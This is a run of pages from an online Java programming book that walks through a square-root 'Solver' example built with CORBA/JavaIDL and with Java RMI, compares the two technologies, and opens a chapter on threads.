Now let's see how we would both serve and use our Solver class in a CORBA environment. For our example we are going to use the JavaIDL package provided by Sun as our CORBA implementation. It provides an IDL-to-Java compiler, a basic ORB implementation, and a basic Naming Service implementation. Since a standard IDL-to-Java mapping has been submitted to the OMG by a group of the most prominent CORBA software vendors, almost all of the details about using CORBA in a Java environment will apply to any other CORBA implementation in Java.

3.5.5.1. The IDL interface

First, we need an IDL version of the class, which is shown in Example 3-4. This IDL interface represents some, but not all, of the functionality that I originally expressed in terms of the Java interface in Example 3-1. It also includes an IDL specification for the ProblemSet interface in Example 3-2.

Example 3-4. IDL Solver Interface

module DCJ {
  module examples {

    interface ProblemSet {
      double getValue();
      void setValue(in double v);
      double getSolution();
      void setSolution(in double s);
    };

    interface Solver {
      // Solve the current problem set
      boolean solveCurrent();

      // Solve the given problem set
      boolean solve(inout ProblemSet s, in long numIters);

      // Get/set current problem
      ProblemSet getProblem();
      void setProblem(inout ProblemSet p);

      // Get/set current iteration setting
      unsigned long getIterations();
      void setIterations(in unsigned long i);
    };
  };
};

You can see that there are some subtle differences between the IDL and Java interfaces for our classes. All the method arguments in the IDL interface are preceded by in, out, or inout, which indicates whether the argument is write-only, read- only, or read/write, respectively (from the perspective of the client). Since the purpose of IDL is strictly to define an interface to an object, there's no need to specify constructors for the object. Notice that we had to change the name of no-argument solve() method to be solveCurrent() in the IDL interface. IDL doesn't support overloading the names of methods, so we had to give one of our solve() methods a more descriptive name. The rest of the methods declared in the IDL interface directly correspond to methods on the original Java interface.

3.5.5.2. The client stubs

Now that we have our IDL interface, we can run it through our IDL-to-Java compiler (called, predicatably enough, idltojava) to generate a base Java interface, along with a Java stub for the client and a Java skeleton for the class implementation. Using JavaIDL,[2] the base interface and client stub are created by simply executing this command:

[2]The CORBA examples shown in this chapter were compiled and tested using the early-access release of JavaIDL.

myhost% idltojava -fclient Solver.idl

Other CORBA implementations will have their own toolset and command-line arguments for compiling the IDL interfaces for your application. The Java base interface for the Solver generated by the IDL-to-Java compiler is shown in Example 3-5. Since we also included an interface for the ProblemSet object in our IDL file, the compiler also generated a base Java interface for it, shown in Example 3-6.

Example 3-5. CORBA-Generated Solver Base Interface

/*
 * File: ./DCJ/examples/Solver.java
 * From: Solver.idl
 *   By: idltojava JavaIDL Wed Mar 5 17:02:26 1997
 */

package DCJ.examples;
public interface Solver
    extends org.omg.CORBA.Object {
    boolean solveCurrent();
    boolean solve(DCJ.examples.ProblemSetHolder s, int numIters);
    DCJ.examples.ProblemSet getProblem();
    void setProblem(DCJ.examples.ProblemSetHolder p);
    int getIterations();
    void setIterations(int i);
}

Here are some important things to note about the Solver base class in Example 3-5:

  • Our module definitions from the IDL file have been converted into a package specification in the base Java interface. In the IDL, we declared that the ProblemSet and Solver interfaces were contained within the examples module, which was further contained within the DCJ module. In the generated Java code, the classes are kept in the DCJ.examples package.

  • Where we've declared inout method arguments that are objects, the idltojava compiler has put "holder" types into the Java base class. For each interface defined in IDL, the IDL-to-Java compiler not only generates a Java base class for the interface, it also generates "holder" Java classes for the object. The "holder" class name is just the interface name with an appended "Holder" (e.g., SolverHolder, ProblemSetHolder). The holder classes act as streamable versions of the main class; the ORB uses these holder classes to transmit instances of the interface as remote method arguments. You can access the actual class by using the value attribute on the Holder objects. (For example, SolverHolder.value is a reference to the actual Solver object.)

Example 3-6. CORBA-Generated ProblemSet Base Interface

/*
 * File: ./DCJ/examples/ProblemSet.java
 * From: Solver.idl
 *   By: idltojava JavaIDL Wed Mar 5 17:02:26 1997
 */

package DCJ.examples;
public interface ProblemSet
    extends org.omg.CORBA.Object {
    double getValue();
    void setValue(double v);
    double getSolution();
    void setSolution(double s);
}

The compiler also generated the client stubs for the interfaces in our IDL file. In each case, the generated client stub implements the Java base interface for the object. The client stubs also extend the org.omg.CORBA.portable.Object-Impl class, which provides the interface used by the client ORB to marshal and unmarshal remote method arguments, among other things. The start of the generated client stub for the Solver looks like this:

public class _SolverStub
    extends org.omg.CORBA.portable.ObjectImpl
    implements dcj.examples.Solver {
        ...

We'll leave out the remainder of the client stub definitions, since they primarily include low-level details about the interface between the stub and the ORB that we won't be concerned with here. When you're developing systems using CORBA, you should never have to be concerned with the internal details of the client stub or the server skeleton anyway. The IDL-to-Java compiler does the right thing with your IDL definitions, and all the client needs to know is the base Java interface for the remote object.

3.5.5.3. The server skeleton and implementation

The same IDL Solver interface can be used to generate a skeleton for a server implementation of a class. This is done by invoking the following:

myhost% idltojava -fserver Solver.idl

This will regenerate the Java base interface, but will also generate a skeleton for our object implementation. Like the client stub, our server skeleton contains mostly code related to the ORB/skeleton interface, details that you won't need to be concerned with most of the time. The only aspect we'll mention is that the server skeleton also implements the base Java interface, as well as the org.omg.CORBA.portable.ObjectImpl class. It also implements the interface org.omg.CORBA.portable.Skeleton, which the server ORB will be looking for when invoking methods on the object implementation:

public abstract class _SolverImplBase
    extends org.omg.CORBA.portable.ObjectImpl
    implements DCJ.examples.Solver, org.omg.CORBA.portable.Skeleton {

Note that the _SolverImplBase class is declared abstract by the compiler, since it doesn't implement any of the methods that we declared in our IDL interface. Again, since the ProblemSet interface was defined in the same IDL file, a Java skeleton for the ProblemSet was also generated.

The last step in setting up our remote object for business is to extend the _Sol-verImplBase class and the _ProblemSetImplBase class, and implement the methods defined in their base interfaces. Our implementation of the Solver interface is shown in Example 3-5. The CORBASolverImpl provides implementations of all of the methods from the base Solver interface in Example 3-5, including the ever-critical solve() method. In this case, our Solver simply performs a square-root operation on the problem value. Our implementation of the ProblemSet interface is shown in Example 3-8.

Example 3-7. Java Implementation of the Solver Interface

package DCJ.examples;

import java.lang.*;
import java.io.*;
import org.omg.CORBA.*;
import org.omg.CosNaming.*;

public class CORBASolverImpl extends _SolverImplBase {

  protected int numIterations = 1; // not used for this Solver...
  protected ProblemSetHolder currProblem = null;

  // Constructors
  public CORBASolverImpl() { super(); }
  public CORBASolverImpl(int numIter) {
    super();
    numIterations = numIter;
  }

  public ProblemSet getProblem() {
    return currProblem.value;
  }

  public void setProblem(ProblemSetHolder ph) {
    currProblem = ph;
  }

  public int getIterations() {
    return numIterations;
  }

  public void setIterations(int i) {
    numIterations = i;
  }

  public boolean solveCurrent() {
    System.out.println("Solving current problem...");
    return solve(currProblem, numIterations);
  }

  public boolean solve(ProblemSetHolder sh, int numIters) {
    ProblemSet s = sh.value;
    boolean success = true;

    if (s == null) {
      System.out.println("No problem to solve.");
      return false;
    }

    System.out.println("Problem value = " + s.getValue());

    // Solve problem here...
    try {
      s.setSolution(Math.sqrt(s.getValue()));
    }
    catch (ArithmeticException e) {
      System.out.println("Badly-formed problem.");
      success = false;
    }

    System.out.println("Problem solution = " + s.getSolution());

    return success;
  }

  public static void main(String argv[]) {

    try {
      // create and initialize the ORB
      System.out.println("Initializing ORB...");
      ORB orb = ORB.init(argv, null);

      // Create a Solver and register it with the ORB
      System.out.println("Connecting solver to ORB...");
      CORBASolverImpl solver = new CORBASolverImpl();
      orb.connect(solver);

      // Get the naming service from the ORB
      System.out.println("Getting reference to Naming Service...");
      org.omg.CORBA.Object ncObj =
        orb.resolve_initial_references("NameService");
      NamingContext ncRef = NamingContextHelper.narrow(ncObj);

      // Bind the Solver object to a name
      System.out.println("Registering Solver with Naming Service...");
      NameComponent comp = new NameComponent("Solver", "");
      NameComponent path[] = {comp};
      ncRef.rebind(path, solver);

      // Wait for client requests
      System.out.println("Waiting for clients...");
      java.lang.Object dummySync = new java.lang.Object();
      synchronized (dummySync) {
        dummySync.wait();
      }
    }
    catch (Exception e) {
      System.err.println(e);
      e.printStackTrace(System.out);
    }
  }
}

Example 3-8. Java Implementation of the ProblemSet Interface

package DCJ.examples;

public class ProblemSetImpl extends _ProblemSetImplBase {
  protected double value;
  protected double solution;

  public double getValue() { return value; }
  public void setValue(double v) { value = v; }
  public double getSolution() { return solution; }
  public void setSolution(double s) { solution = s; }
}

In addition to implementations for the Solver interface methods, our CORBASolverImpl class also includes a main() routine that creates a Solver instance and registers it with a local ORB. The registration routine first creates a local server ORB:

ORB orb = ORB.init(argv, null);

The command-line arguments to the main routine are passed into the ORB initialization routine so that it can parse any ORB-specific parameters that the user may provide. Next, the routine creates an instance of our Solver implementation, and connects the object to the ORB:

CORBASolverImpl solver = new CORBASolverImpl();
orb.connect(solver);

The next step is to get a reference to the ORB's naming service and register the object under a name:

org.omg.CORBA.Object ncObj =
    orb.resolve_initial_references("NameService");
NamingContext ncRef = NamingContextHelper.narrow(ncObj);
    ...
NameComponent comp = new NameComponent("Solver", "");
NameComponent path[] = {comp};
ncRef.rebind(path, solver);

The NameComponent that we create is the thing that tells the naming service what the name of the object is supposed to be on this ORB. Finally, we need to keep the server process alive while we wait for clients to invoke methods on our Solver. If the main() routine exits, then the surrounding process will exit and the ORB object we created will be destroyed. So to keep the main() routine from exiting, we enter an infinite wait:

java.lang.Object dummySync = new java.lang.Object();
synchronized (dummySync) {
    dummySync.wait();
}

3.5.5.4. The Solver client

OK, we've got our client stubs and server skeletons generated, we've written Java implementations for the interfaces, and our Solver implementation includes a main() routine that registers a Solver object with a server ORB. Now all we need is a client to use the Solver. Example 3-9 shows a simple client. All it does is create a client ORB, get a reference to the ORB's naming service, and ask it for a reference to the Solver by asking for it by name. The initial reference that we get from the ORB is a generic CORBA Object, which needs to be "narrowed" to get a reference to the actual Solver object reference using the SolverHelper.narrow() method. We had to do the same thing when getting a reference to the NamingContext from the ORB. The SolverHelper interface is generated automatically by the idltojava compiler from the Solver's IDL interface. Once the client has a Solver stub reference, it creates a problem and asks the Solver to solve it. If we're successful, the remote Solver object will receive our request, solve the problem, and return the results to the client.

Example 3-9. A Client for the Remote Solver

package DCJ.examples;

import org.omg.CORBA.*;
import org.omg.CosNaming.*;

public class CORBASolverClient {
  public static void main(String argv[]) {
    try {
      // Create an ORB
      ORB orb = ORB.init(argv, null);

      // Get a reference to the Naming Service
      org.omg.CORBA.Object obj =
        orb.resolve_initial_references("NameService");
      NamingContext nc = NamingContextHelper.narrow(obj);

      // Get a reference to the Solver on the remote host
      NameComponent comp = new NameComponent("Solver", "");
      NameComponent path[] = {comp};
      org.omg.CORBA.Object sobj = nc.resolve(path);
      Solver solver = SolverHelper.narrow(sobj);

      // Make a problem and ask the solver to solve it
      ProblemSet s = new ProblemSetImpl();
      s.setValue(173.39);
      solver.solve(new ProblemSetHolder(s), 1);

      // Print out solution
      System.out.println("Problem = " + s.getValue());
      System.out.println("Solution = " + s.getSolution());
    }
    catch (Exception e) {
      System.out.println(e) ;
      e.printStackTrace(System.out);
    }
  }
}

3.5.5.5. Pulling it all together

At this point, we've got all the Java code for our CORBA Solver and the sample client. To see the system in practice, we have to compile all of the Java code using the javac compiler, and copy the bytecodes to both the server and client hosts. Both hosts will also need to have a Java CORBA implementation available in the form of its class files. On the object implementation server, we need to have a CORBA Naming Service running, which listens to a port for object requests. In the JavaIDL system, we start the Naming Service with a command like the following:

objhost% nameserv -ORBInitialPort 1050

This starts the Naming Service process listening to port 1050 on the host. Next, we need to run our server implementation process to register one of our Solver objects with an ORB on the server. We can run our server process with this command:

objhost% java DCJ.examples.CORBASolverImpl -ORBInitialPort 1050

The ORBInitialPort command-line argument is provided for initialization of the server ORB. When the arguments are passed into the ORB's initialization routine, the ORB start-up routine will parse out this argument, and will know that the ORB needs to work with the Naming Service running on port 1050.

Now all we need to do is run our client:

client% java DCJ.examples.CORBASolverClient -ORBInitialHost objhost \
    -ORBInitialPort 1050

The ORBInitialHost and ORBInitialPort arguments are passed into the client's ORB initialization call. The ORB will use these arguments to connect itself to the specified remote host and port for naming services. When the client asks the Naming Service for a reference to the object named "Solver," it gets a reference to the Solver object being served by the server process. The remote Solver solves our problem and returns the results, which our client prints out for us:

Problem = 173.39
Solution = 13.1678
Previous | Home | Next
3.4. Distributed Object Schemes for Java | Book Index | 3.6. Java RMI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java RMI (Java Distributed Computing)

 Java Distributed Computing Search this book

3.6. Java RMI

The Java Remote Method Invocation (RMI) package is a Java-centric scheme for distributed objects that is now a part of the core Java API. RMI offers some of the critical elements of a distributed object system for Java, plus some other features that are made possible by the fact that RMI is a Java-only system. RMI has object communication facilities that are analogous to CORBA's IIOP, and its object serialization system provides a way for you to transfer or request an object instance by value from one remote process to another.

3.6.1. Remote Object Interfaces

Since RMI is a Java-only distributed object scheme, all object interfaces are written in Java. Client stubs and server skeletons are generated from this interface, but using a slightly different process than in CORBA. First, the interface for the remote object has to be written as extending the java.rmi.Remote interface. The Remote interface doesn't introduce any methods to the object's interface; it just serves to mark remote objects for the RMI system. Also, all methods in the interface must be declared as throwing the java.rmi.RemoteException . The RemoteException is the base class for many of the exceptions that RMI defines for remote operations, and the RMI engineers decided to expose the exception model in the interfaces of all RMI remote objects. This is one of the drawbacks of RMI: it requires you to alter an existing interface in order to apply it to a distributed environment.

3.6.2. Server Implementations

Once the remote object's Java interface is defined, a server implementation of the interface can be written. In addition to implementing the object's interface, the server also typically extends the java.rmi.server.UnicastRemoteObject class. UnicastRemoteObject is an extension of the RemoteServer class, which acts as a base class for server implementations of objects in RMI. Subclasses of RemoteServer can implement different kinds of object distribution schemes, like replicated objects, multicast objects, or point-to-point communications. The current version of RMI (1.1) only supports remote objects that use point-to-point communication, and UnicastRemoteObject is the only subclass of RemoteServer provided. RMI doesn't require your server classes to derive from a RemoteServer subclass, but doing so lets your server inherit specialized implementations of some methods from Object (hashCode(), equals(), and toString()) so that they do the right thing in a remote object scenario. If you decide that you don't want to subclass from a RemoteServer subclass for some reason, then you have to either provide your own special implementations for these methods or live with the fact that these methods may not behave consistently on your remote objects. For example, if you have two client stubs that refer to the same remote object, you would probably want their hashCode() methods to return the same value, but the standard Object implementation will return independent hash codes for the two stubs. The same inconsistency applies to the standard equals() and toString() methods.

3.6.3. The RMI Registry

In RMI, the registry serves the role of the Object Manager and Naming Service for the distributed object system. The registry runs in its own Java runtime environment on the host that's serving objects. Unlike CORBA, the RMI registry is only required to be running on the server of a remote object. Clients of the object use classes in the RMI package to communicate with the remote registry to look up objects on the server. You start an RMI registry on a host by running the rmiregistry command, which is included in the standard JDK distribution. By default, the registry listens to port 1099 on the local host for connections, but you can specify any port for the registry process by using a command-line option:

objhost% rmiregistry 4001

Once the registry is running on the server, you can register object implementations by name, using the java.rmi.Naming interface. We'll see the details of registering server implementations in the next section. A registered class on a host can then be located by a client by using the lookup() method on the Naming interface. You address remote objects using a URL-like scheme. For example,

MyObject obj1 =
    (MyObject)Naming.lookup("rmi://objhost.myorg.com/Object1");

will look up an object registered on the host objhost.myorg.com under the name Object1. You can have multiple registries running on a server host, and address them independently using their port assignments. For example, if you have two registries running on the objhost server, one on port 1099 and another on port 2099, you can locate objects in either registry using URLs that include the port numbers:

MyObject obj1 =
    (MyObject)Naming.lookup("rmi://objhost.myorg.com:1099/Object1");
MyObject obj2 =
    (MyObject)Naming.lookup("rmi://objhost.myorg.com:2099/Object2");

3.6.4. Client Stubs and Server Skeletons

Once you've defined your object's interface and derived a server implementation for the object, you can create a client stub and server skeleton for your object. First the interface and the server implementation are compiled into bytecodes using the javac compiler, just like normal classes. Once we have the bytecodes for the interface and the server implementation, we have to generate the linkage from the client through the RMI registry to the object implementation we just generated. This is done using the RMI stub compiler, rmic. Suppose we've defined a remote interface called MyObject, and we've written a server implementation called MyObjectImpl, and compiled both of these into bytecodes. Assuming that we have the compiled classes in our CLASSPATH, we would generate the RMI stub and skeleton for the class with the rmic compiler:

myhost% rmic MyObject

The rmic compiler bootstraps off of the Java bytecodes for the object interface and implementation to generate a client stub and a server skeleton for the class. A client stub is returned to a client when a remote instance of the class is requested through the Naming interface. The stub has hooks into the object serialization subsystem in RMI for marshaling method parameters.

The server skeleton acts as an interface between the RMI registry and instances of the object implementation residing on a host. When a client request for a method invocation on an object is received, the skeleton is called on to extract the serialized parameters and pass them to the object implementation.

3.6.5. Registering and Using a Remote Object

Now we have a compiled interface and implementation for our remote object, and we've created the client stub and server skeleton using the rmic compiler. The final hurdle is to register an instance of our implementation on a remote server, and then look up the object on a client. Since RMI is a Java-centric API, we can rely on the bytecodes for the interface, the implementation, the rmic-generated stub, and skeleton being loaded automatically over the network into the Java runtimes at the clients. A server process has to register an instance of the implementation with a RMI registry running on the server:

MyObjectImpl obj = new MyObjectImpl();
Naming.rebind("Object1", obj);

Once this is done, a client can get a reference to the remote object by connecting to the remote registry and asking for the object by name:

System.setSecurityManager(new java.rmi.RMISecurityManager());
MyObject objStub = (MyObject)Naming.lookup("rmi://objhost/Object1");

Before loading the remote object stub, we installed a special RMI security manager with the System object. The RMI security manager enforces a security policy for remote stubs to prevent them from doing illicit snooping or sabotage when they're loaded into your local Java environment from a network source. If a client doesn't install an RMI security manager, then stub classes can only be loadable from the local file system.

3.6.6. Serializing Objects

Another Java facility that supports RMI is object serialization. The java.io package includes classes that can convert an object into a stream of bytes and reassemble the bytes back into an identical copy of the original object. Using these classes, an object in one process can be serialized and transmitted over a network connection to another process on a remote host. The object (or at least a copy of it) can then be reassembled on the remote host.

An object that you want to serialize has to implement the java.io.Serializable interface. With this done, an object can be written just as easily to a file, a string buffer, or a network socket. For example, assuming that Foo is a class that implements Serializable, the following code writes Foo on an object output stream, which sends it to the underlying I/O stream:

Foo myFoo = new Foo();
OutputStream out = ... // Create output stream to object destination
ObjectOutputStream oOut = new ObjectOutputStream(out);
oOut.writeObject(myFoo);

The object can be reconstructed just as easily:

InputStream in = ... // Create input stream from source of object
ObjectInputStream oIn = new ObjectInputStream(in);
Foo myFoo = (Foo)oIn.readObject();

We've simplified things a bit by ignoring any exceptions generated by these code snippets. Note that serializing objects and sending them over a network connection is very different from the functionality provided by the ClassLoader, which we saw earlier in this book. The ClassLoader loads class definitions into the Java runtime, so that new instances of the class can be created. The object serialization facility allows an actual object to be serialized in its entirety, transmitted to any destination, and then reconstructed as a precise replica of the original.

When you serialize an object, all of the objects that it references as data members will also be serialized, and all of their object references will be serialized, and so on. If you attempt to serialize an object that doesn't implement the Serializable interface, or an object that refers to non-serializable objects, then a NotSerializableException will be thrown. Method arguments that aren't objects are serialized automatically using their standard byte stream formats.

In RMI, the serialization facility is used to marshal and unmarshal method arguments that are objects, but that are not remote objects. Any object argument to a method on a remote object in RMI must implement the Serializable interface, since the argument will be serialized and transmitted to the remote host during the remote method invocation.

3.6.7. An RMI Solver

Now let's go back to our Solver example and distribute it using RMI. First, we would have to rewrite the Solver interface so that it implements the java.rmi.Remote interface. The methods on the interface also have to be specified as throwing RemoteExceptions. This modified version of the Solver interface, the RMISolver, is shown in Example 3-10.

Example 3-10. Interface for a RMI Solver

package dcj.examples.rmi;

import java.rmi.*;
import java.io.OutputStream;

public interface RMISolver extends java.rmi.Remote
{
  public boolean solve() throws RemoteException;
  public boolean solve(RMIProblemSet s,
                       int numIters) throws RemoteException;

  public RMIProblemSet getProblem() throws RemoteException;
  public boolean setProblem(RMIProblemSet s) throws RemoteException;
  public int getIterations() throws RemoteException;
  public boolean setIterations(int numIter) throws RemoteException;
}

There are two methods in this interface, the solve() method with arguments, and the setProblem() method, where we have problem set arguments that we want to pass into the remote method invocation. We could achieve this by creating a version of the ProblemSet class that implements the Serializable interface. If we did that, the problem set would be sent to the remote host by value--the remote object would be operating on a copy of the problem set. But in both of these cases we want to pass the problem set by reference; we want the remote Solver to operate on the same problem set object that we have on the client, so that when the solution is stored in the problem set, we will see it automatically on the client. We can do this in RMI by making a remote version of the ProblemSet class. With an RMI-enabled ProblemSet interface, we can use an instance of an implementation of the interface as an argument to remote methods, and the remote object will receive a stub to the local ProblemSet. The RMI version of the ProblemSet interface, the RMIProblemSet, is shown in Example 3-11.

Example 3-11. Interface for an RMI ProblemSet

package dcj.examples.rmi;

import java.rmi.*;

public interface RMIProblemSet extends Remote {
  public double getValue() throws RemoteException;
  public double getSolution() throws RemoteException;
  public void setValue(double v) throws RemoteException;
  public void setSolution(double s) throws RemoteException;
}

Now we'll need to write server-side implementations of these interfaces. Our server-side implementation of the RMISolver derives from java.rmi.Uni-castRemoteObject, and is shown in Example 3-12. The implementation of the RMIProblemSet interface is shown in Example 3-13. It also extends the UnicastRemoteObject class.

Example 3-12. Implementation of the RMISolver

package dcj.examples.rmi;

import java.rmi.*;
import java.rmi.server.UnicastRemoteObject;
import java.io.*;

public class RMISolverImpl
    extends UnicastRemoteObject
    implements RMISolver {

  // Protected implementation variables
  protected int numIterations = 1; // not used for this Solver...
  protected RMIProblemSet currProblem = null;

  // Constructors
  public RMISolverImpl() throws RemoteException { super(); }
  public RMISolverImpl(int numIter) throws RemoteException {
    super();
    numIterations = numIter;
  }

  // Public methods
  public boolean solve() throws RemoteException {
    System.out.println("Solving current problem...");
    return solve(currProblem, numIterations);
  }

  public boolean solve(RMIProblemSet s, int numIters)
      throws RemoteException {
    boolean success = true;

    if (s == null) {
      System.out.println("No problem to solve.");
      return false;
    }

    System.out.println("Problem value = " + s.getValue());

    // Solve problem here...
    try {
      s.setSolution(Math.sqrt(s.getValue()));
    }
    catch (ArithmeticException e) {
      System.out.println("Badly-formed problem.");
      success = false;
    }

    System.out.println("Problem solution = " + s.getSolution());

    return success;
  }

  public RMIProblemSet getProblem() throws RemoteException {
    return currProblem;
  }

  public boolean setProblem(RMIProblemSet s) throws RemoteException {
    currProblem = s;
    return true;
  }

  public int getIterations() throws RemoteException {
    return numIterations;
  }

  public boolean setIterations(int numIter) throws RemoteException {
    numIterations = numIter;
    return true;
  }

  public static void main(String argv[]) {
    try {
      // Register an instance of RMISolverImpl with the
      // RMI Naming service
      String name = "TheSolver";
      System.out.println("Registering RMISolverImpl as \"" + name + "\"");
      RMISolverImpl solver = new RMISolverImpl();
      Naming.rebind(name, solver);
      System.out.println("Remote Solver ready...");
    }
    catch (Exception e) {
      System.out.println("Caught exception while registering: " + e);
    }
  }
}

Example 3-13. Implementation of the RMIProblemSet

package dcj.examples.rmi;

import java.rmi.*;
import java.rmi.server.UnicastRemoteObject;

public class RMIProblemSetImpl
    extends java.rmi.server.UnicastRemoteObject
    implements RMIProblemSet {

  protected double value;
  protected double solution;

  public RMIProblemSetImpl() throws RemoteException {
    value = 0.0;
    solution = 0.0;
  }

  public double getValue() throws RemoteException {
    return value;
  }

  public double getSolution() throws RemoteException {
    return solution;
  }

  public void setValue(double v) throws RemoteException {
    value = v;
  }

  public void setSolution(double s) throws RemoteException {
    solution = s;
  }
}

These implementations of our Solver and ProblemSet interfaces are very similar to those that we created for the earlier CORBA examples. As in our earlier examples, the Solver simply performs a square root on the ProblemSet floating-point value. The RMISolverImpl has a main() method that registers a RMISolverImpl object with the local RMI registry.

Now we compile our interfaces and our server implementations into bytecodes, then generate their client stubs and server skeletons using the rmic compiler:

myhost% rmic dcj.examples.rmi.RMIProblemSetImpl
myhost% rmic dcj.examples.rmi.RMISolverImpl

The last required item is a client to use our remote object. The RMISolverClient in Example 3-14 is a simple client for the remote solver. The client has a single main() method where it gets a stub for the remote solver and asks it to solve a problem. The first line of the main() method installs the RMISecurityManager. Next, the client looks up the solver registered on the remote server through the Naming.lookup() method. Once it has the RMISolver stub, it creates a RMIProblemSetImpl object (our RMI-enabled ProblemSet implementation), and passes it into the solver's solve() method. The remote solver receives a stub to the RMIProblemSetImpl object on the client host, and solves the problem it represents. The methods that the remote RMISolver calls on the RMIProblemSet stub are invoked remotely on the RMIProblemSetImpl object on the client. Once the solve() method returns, our client can get the problem solution from the RMIProblemSetImpl object that it passed into the remote method call.

Example 3-14. An RMISolver Client

package dcj.examples.rmi;

import java.rmi.*;
import java.rmi.server.*;

public class RMISolverClient {
  public static void main(String argv[]) {
    // Install a security manager that can handle remote stubs
    System.setSecurityManager(new RMISecurityManager());

    // Get a remote reference to the RMISolver class
    String name = "rmi://objhost.myorg.com/TheSolver";
    System.out.println("Looking up " + name + "...");
    RMISolver solver = null;
    try {
      solver = (RMISolver)Naming.lookup(name);
    }
    catch (Exception e) {
      System.out.println("Caught an exception looking up Solver.");
      System.exit(1);
    }

    // Make a problem set for the solver
    RMIProblemSetImpl s = null;

    try {
      s = new RMIProblemSetImpl();
      s.setValue(Double.valueOf(argv[0]).doubleValue());
    }
    catch (Exception e) {
      System.out.println("Caught exception initializing problem.");
      e.printStackTrace();
    }

    // Ask solver to solve
    try {
      if (solver.solve(s, 1)) {
        System.out.println("Solver returned solution: " +
                           s.getSolution());
      }
      else {
        System.out.println(
          "Solver was unable to solve problem with value = " +
          s.getValue());
      }
    }
    catch (RemoteException e) {
      System.out.println("Caught remote exception.");
      System.exit(1);
    }
  }
}

Finally, we're ready to try our distributed object system. First, we start a registry on the host that is serving objects through the Naming service:

objhost% rmiregistry &

Now we can register a RMISolverImpl object by running the main() method on the RMISolverImpl class:

objhost% java dcj.examples.rmi.RMISolverImpl
Registering RMISolverImpl as "TheSolver"
Remote Solver ready...

Back on our client host, we can run the client class:

client% java dcj.examples.rmi.RMISolverClient 47.0
Looking up "rmi://objhost.myorg.com/TheSolver"...
Solver returned solution: 6.855654600401044

Our remote solver has solved our problem for us.

It's important to note here that the ProblemSet we're sending to the remote Solver object through a remote method call isn't being served in the same way as the Solver object. The Solver server doesn't need to lookup the ProblemSet object through the RMI registry. A stub interface to the client-side RMIProblemSetImpl object is automatically generated on the server side by the underlying RMI system.

Previous | Home | Next
3.5. CORBA | Book Index | 3.7. RMI vs. CORBA
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RMI vs. CORBA (Java Distributed Computing)

 Java Distributed Computing Search this book

3.7. RMI vs. CORBA

In this chapter we've implemented the simple distributed compute engine using both CORBA and RMI, and we've seen many similarities between the two in terms of functionality. There are also some critical differences between the two technologies. In order for you to understand which distributed object scheme is right for whatever system you're facing, it's important to spell out these differences.

3.7.1. The Language Barrier: Advantage or Disadvantage?

As we mentioned before, RMI is a Java-centric distributed object system. The only way currently to integrate code written in other languages into a RMI system is to use the Java native-code interface to link a remote object implementation in Java to C or C++ code. This is a possibility, but definitely not something for the faint of heart. The native-code interface in Java is complicated, and can quickly lead to fragile or difficult-to-maintain code. CORBA, on the other hand, is designed to be language-independent. Object interfaces are specified in a language that is independent of the actual implementation language. This interface description can then be compiled into whatever implementation language suits the job and the environment.

This distinction is really at the heart of the split between the two technologies. RMI, as a Java-centric system, inherits all of the benefits of Java. An RMI system is immediately cross-platform; any subsystem of the distributed system can be relocated to any host that has a Java virtual machine handy. Also, the virtual machine architecture of Java allows us to do some rather interesting things in an RMI system that just aren't possible in CORBA. For example, using RMI and the object serialization in the java.io package, we can implement an agent-based system where clients subclass and specialize an Agent interface, set the operating parameter values for the agent, and then send the object in its entirety to a remote "sandbox" server, where the object will act in our name to negotiate on some issue (airline ticket prices, stocks and bonds, order-fulfillment schedules, etc.). The remote server only knows that each agent has to implement an agreed-upon interface, but doesn't know anything about how each agent is implemented, even though the agent is running on the server itself. In CORBA, objects can never really leave their implementation hosts; they can only roam the network in the virtual sense, sending stub references to themselves and to clients. We don't have the option of offloading an object from one host to another.

However, CORBA doesn't require a commitment to a single implementation language. We can pick and choose how different elements of a distributed system are implemented based on the issues at hand. Legacy systems may dictate our implementation language in some cases (large COBOL systems like to be spoken to in COBOL, for example). Performance may be an issue in other cases. Heavy computational tasks like computational fluid dynamics and finite-element modeling are best written in languages that can be compiled down to native hardware instructions, like C and C++. The Java virtual machine architecture is a disadvantage here, since an additional interpretation layer is added to the processing of instructions. The Java just-in-time compilers (JIT) are capable of generating native instructions from Java bytecodes, but there is still an additional piece of overhead in running each piece of Java code. If we know that migrating system elements around the network is not necessary, then natively compiled Java code can be permanently installed, but by doing this we're sacrificing the critical "run everywhere" aspect of Java.

If we're using CORBA in these cases, we can take IDL interface definitions for our objects, compile them into COBOL, C, C++, or whatever languages we need at the various nodes in our distributed system. As long as the ORB implementations that we use at each node support a standard inter-ORB protocol like IIOP, the various CORBA objects implemented in various languages can interact with each other just fine.

3.7.2. Other Differences

In addition to this core distinction between CORBA and RMI, there are other differences to keep in mind:

  • Relatively speaking, RMI can be easier to master, especially for experienced Java programmers, than CORBA. CORBA is a rich, extensive family of standards and interfaces, and delving into the details of these interfaces is sometimes overkill for the task at hand.

  • CORBA is a more mature standard than RMI, and has had time to gain richer implementations. The CORBA standard is a fairly comprehensive one in terms of distributed objects, and there are CORBA implementations out there that provide many more services and distribution options than RMI or Java. The CORBA Services specifications, for example, include comprehensive high-level interfaces for naming, security, and transaction services (see Appendix B, "CORBA Services").

  • Various low-level technical details about the two schemes may be seen as advantages or disadvantages to you as a developer: the fact that RMI imposes additional throws clauses in your remote interface is one that we've already mentioned, and CORBA's peer-to-peer ORB communication model as opposed to RMI's server-centric model may be another.

3.7.3. The Bottom Line

So which is better, CORBA or RMI? Basically, it depends. If you're looking at a system that you're building from scratch, with no hooks to legacy systems and fairly mainstream requirements in terms of performance and other language features, then RMI may be the most effective and efficient tool for you to use. On the other hand, if you're linking your distributed system to legacy services implemented in other languages, or if there is the possibility that subsystems of your application will need to migrate to other languages in the future, or if your system depends strongly on services that are available in CORBA and not in RMI, or if critical subsystems have highly-specialized requirements that Java can't meet, then CORBA may be your best bet.

Previous | Home | Next
3.6. Java RMI | Book Index | 4. Threads
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Threads (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 4. Threads

Contents:

Thread and Runnable
Making a Thread
Managing Threads at Runtime
Networked Threads

In this chapter we will take a look at Java's support for multithreaded applications. The ability to create multithreaded applications is critical in distributed computing systems, since in many cases you'll want multiple clients to be able to make requests to agents in your system, and you'd like the agents to be as responsive as possible. Supporting asynchronous transactions introduces some new issues in developing any distributed application, and we'll take a look at how the thread support in Java helps you manage these issues.

4.1. Thread and Runnable

